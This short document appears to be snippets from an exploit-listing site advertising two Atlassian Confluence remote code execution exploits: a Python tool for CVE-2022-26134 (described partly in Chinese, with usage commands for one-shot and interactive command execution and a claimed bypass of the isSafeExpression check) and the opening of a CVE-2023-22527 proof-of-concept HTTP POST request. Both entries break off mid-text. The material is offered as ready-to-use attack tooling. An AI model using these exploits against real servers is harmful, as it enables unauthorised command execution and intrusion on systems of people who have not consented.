cve-2022-26134

CVE-2022-26134 CVE-2022-26134 的实现 此仓库包含我针对 CVE-2022-26134 的利用程序实现。此处实现的版本绕过了 7.18.0 等版本中的 isSafeExpression 检查。 该利用程序可以通过两种模式运行： 第一种模式允许您一次运行一个命令： root@kitploit: python3 cve-2022-26134.py 如果命令成功执行，将返回命令的输出；否则将显示空行。 第二种模式是交互式模式： root@kitploit: python3 cve-2022-26134.py -i 这将启动一个非持久化的交互式...

CVE-2023-22527

CVE-2023-22527 Atlassian Confluence - Remote Code Execution CVE-2023-22527 Poc root@kitploit: POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/119.0.6045.159 Safari/537.36 Content-Type:...